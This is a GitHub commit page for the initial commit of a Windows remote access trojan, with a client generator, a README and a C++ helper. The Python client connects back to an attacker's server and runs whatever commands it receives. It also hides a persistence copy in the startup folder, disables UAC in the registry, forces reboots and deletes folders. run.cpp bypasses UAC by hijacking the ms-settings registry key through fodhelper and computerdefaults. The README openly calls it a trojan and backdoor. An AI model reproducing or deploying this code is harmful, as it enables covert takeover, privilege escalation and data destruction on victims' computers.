Skip to content

Commit 481a13c

Browse files
Initial
0 parents  commit 481a13c

File tree

7 files changed

+607
-0
lines changed

7 files changed

+607
-0
lines changed

Gen_client.py

Lines changed: 146 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,146 @@
1+
from subprocess import getoutput
2+
from os import system,environ
3+
from sys import exit
4+
def nuitka()->None:
5+
ip_address=str(input("Server IP:"))
6+
with open("svchost.py","w") as file:
7+
file.write(buf%ip_address)
8+
environ["CCFLAGS"]="-Ofast"
9+
system("nuitka .\\svchost.py --mode=accelerated --mode=onefile --remove-output --windows-console-mode=disable --include-data-files=.\\run.exe=.\\run.exe")
10+
exit(0)
11+
buf=r'''from platform import node,release,machine,processor
12+
from ctypes import windll
13+
from pickle import dumps
14+
from subprocess import getoutput,call
15+
from sys import exit,argv
16+
from os import chdir,environ,system as run
17+
from os.path import basename
18+
from socket import socket,AF_INET,SOCK_STREAM,gaierror
19+
from shutil import copyfile
20+
from winreg import OpenKeyEx,HKEY_LOCAL_MACHINE,KEY_WRITE,SetValueEx,REG_DWORD,CloseKey
21+
from psutil import process_iter,AccessDenied
22+
def process_is_double(target:str=argv[0])->bool:
23+
exists=False
24+
process = 0
25+
if argv[0] == target:
26+
for i in process_iter():
27+
try:
28+
if i.exe() == target:
29+
process +=1
30+
except AccessDenied:pass
31+
return (process >1)
32+
for i in process_iter():
33+
try:
34+
if i.name() == basename(target):exists=True
35+
if i.exe() == target:process +=1
36+
except AccessDenied:pass
37+
return exists and process >1
38+
def process_is_exists(target:str)->bool:return target in (i.name() for i in process_iter())
39+
def split(target:str,tstr:str)->str:
40+
new_chars=[]
41+
for i in tstr.lower().split():
42+
if i.lower() !=target.lower():new_chars.extend([i," "])
43+
return "".join(new_chars).rsplit(" ")[0]
44+
def connect()->None:
45+
global s
46+
s = socket(AF_INET, SOCK_STREAM)
47+
s.settimeout(999999)
48+
try:
49+
s.connect(addr)
50+
s.send(dumps({"node":node(),"release":release(),"machine":machine(),"processor":processor(),"admin":windll.shell32.IsUserAnAdmin(),"username":environ.get("username")}))
51+
except TimeoutError:connect()
52+
except ConnectionRefusedError:connect()
53+
except gaierror:connect()
54+
def CYS()->None:
55+
copyfile(argv[0],(r"C:\Users\{}\Documents\\"+basename(argv[0])).format(environ.get("username")))
56+
with open(r"C:\Users\{}\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\start.bat".format(environ.get("username")), "w") as file:
57+
file.write("""@Echo off
58+
start C:\\Users\\{0}\\Documents\\{1}
59+
exit""".format(environ.get("username"), basename(argv[0])))
60+
run("attrib +s +h +r C:\\Users\\"+environ.get("username")+"\\Documents\\"+basename(argv[0]))
61+
run("attrib +s +h +r \"C:\\Users\\{}\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\start.bat\"".format(environ.get("username")))
62+
def LUA_OFF()->None:
63+
key = OpenKeyEx(HKEY_LOCAL_MACHINE,r"SOFTWARE\Microsoft\Windows\CurrentVersion\\Policies\\System", 0, KEY_WRITE)
64+
SetValueEx(key,"EnableLUA",0,REG_DWORD,0)
65+
CloseKey(key)
66+
CYS()
67+
call("shutdown /r /f /t 0")
68+
exit(0)
69+
def computerdefaults(target:str=argv[0])->None:
70+
target = target + ".exe" if target.split(".")[-1] != "exe" else target
71+
ms_reg = "computerdefaults.exe"
72+
if argv[0] == target:
73+
while not process_is_double():call(f"run {target} {ms_reg} computerdefaults.exe")
74+
return None
75+
while not process_is_exists(basename(target)):call(f"run {target} {ms_reg} computerdefaults.exe")
76+
def fodhelper(target:str=argv[0])->None:
77+
target= target+".exe" if target.split(".")[-1] !="exe" else target
78+
ms_reg = "fodhelper.exe"
79+
if argv[0] == target:
80+
while not process_is_double():
81+
call(f"run {target} {ms_reg} fodhelper.exe")
82+
return None
83+
while not process_is_exists(basename(target)):
84+
call(f"run {target} {ms_reg} fodhelper.exe")
85+
process_is_exists(basename(target))
86+
def FDR(target:str)->None:
87+
run("takeown /D Y /R /F {}".format(target))
88+
run("icacls {} /T /C /grant {}:(F,MA)".format(target,environ.get("username")))
89+
run("rmdir /S /Q {}".format(target))
90+
addr=("%s",8085)
91+
connect()
92+
while True:
93+
try:
94+
cmd=s.recv(20971520).decode()
95+
lcmd=cmd.lower()
96+
if "cd" in cmd and len(cmd) >2:
97+
chdir(split("cd",cmd))
98+
s.send(b"success")
99+
continue
100+
if "exit" in cmd:exit(0)
101+
if "lua" in lcmd:
102+
s.send("success".encode())
103+
LUA_OFF()
104+
continue
105+
if "computerdefaults" in lcmd and len(lcmd) <17 :
106+
computerdefaults()
107+
s.send("success".encode())
108+
continue
109+
if "computerdefaults" in lcmd:
110+
computerdefaults(split("computerdefaults",cmd)[-1])
111+
s.send("success".encode())
112+
continue
113+
if "fodhelper" in lcmd and len(lcmd) <10 :
114+
fodhelper()
115+
s.send("success".encode())
116+
continue
117+
if "fodhelper" in lcmd:
118+
fodhelper(split("fodhelper",cmd))
119+
s.send("success".encode())
120+
continue
121+
if "cys" in lcmd:
122+
CYS()
123+
s.send("success".encode())
124+
continue
125+
if "fdr" in lcmd and len(lcmd) >3:
126+
FDR(split("fdr",cmd))
127+
s.send("success".encode())
128+
continue
129+
if "refresh" in lcmd:
130+
s.send("success".encode())
131+
continue
132+
if "executable" in lcmd:
133+
s.send(argv[0].encode())
134+
continue
135+
if "cmd /c start" in lcmd:
136+
call(cmd)
137+
s.send("success".encode())
138+
continue
139+
process=getoutput(cmd)
140+
s.send(process.encode() if process else "success".encode())
141+
except ConnectionResetError:connect()
142+
except OSError:connect()'''
143+
print("Checking For Nuitka")
144+
nuitka_v=getoutput("nuitka --version").split()[0]
145+
if len(nuitka_v)<7:nuitka()
146+
else:print("You Don't Have Installed Nuitka!!\nYou Can Install It Using pip install Nuitka")

README.md

Lines changed: 33 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,33 @@
1+
# Remote Access Tools
2+
I programmed this for Remote Controlling<br>
3+
This Program Have Many Names Like:<br>
4+
- Remote Access Tools
5+
- Remote Access Trojan
6+
- Remote Administrator Tools <br>
7+
8+
Program Made of two Sides:
9+
1. Server
10+
2. Client
11+
12+
Client When Executed Starts in A Loop Connection to The Server<br>
13+
after Connection The Server Have Access To The Client<br>
14+
Program Looks like A Backdoor
15+
16+
The run.exe is Required for **Remote Vertical Privilege Escalation**
17+
18+
## Usage
19+
Installing Requirements
20+
21+
pip install requirements.txt
22+
compiling Programs
23+
24+
g++ run.cpp -o run -m32 -static -Ofast
25+
Client Program
26+
27+
python Gen_client.py
28+
**After Executing `Gen_client.py` You Have To Gave your Server IP To Program!**
29+
## Creator
30+
**Author**: **Vahab Programmer**<br>
31+
**Github Page**: **[Vahab-Programmer](https://github.com/Vahab-Programmer)**<br>
32+
**Email**: **[email protected]**<br>
33+
**Telegram**: **[Vahab Programmer Channel](https://t.me/VPPchl)**<br>

icon.ico

24.6 KB
Binary file not shown.

requirements.txt

Lines changed: 2 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,2 @@
1+
nuitka
2+
psutil

run.cpp

Lines changed: 27 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,27 @@
1+
#include <windows.h>
2+
#include <string>
3+
using namespace std;
4+
// Author:Vahab Programmer https://github.com\Vahab-Programmer
5+
// Version: 0.0.1
6+
void setreg(const char addr[],const char value[],const char name[]){
7+
HKEY key;
8+
RegCreateKey(HKEY_CURRENT_USER,addr,NULL);
9+
RegOpenKey(HKEY_CURRENT_USER,addr,&key);
10+
RegSetValueEx(key,(LPCSTR)name,0,REG_SZ,(const ::byte*)value,strlen(value)+1);
11+
RegCloseKey(key);
12+
};
13+
int main(int argc,char **argv){
14+
if (1==argc) return 1;
15+
const char ra[48]="Software\\Classes\\ms-settings\\shell\\open\\command";
16+
string base="cmd /C start ";
17+
string exec;
18+
for (int i=2;i < argc;i++){
19+
exec =exec + argv[i];
20+
exec =exec + " ";
21+
};
22+
string command=base+exec;
23+
setreg(ra,"","DelegateExecute");
24+
setreg(ra,command.c_str(),"");
25+
system(argv[1]);
26+
setreg(ra,"","");
27+
}

run.exe

1.89 MB
Binary file not shown.

0 commit comments

Comments
 (0)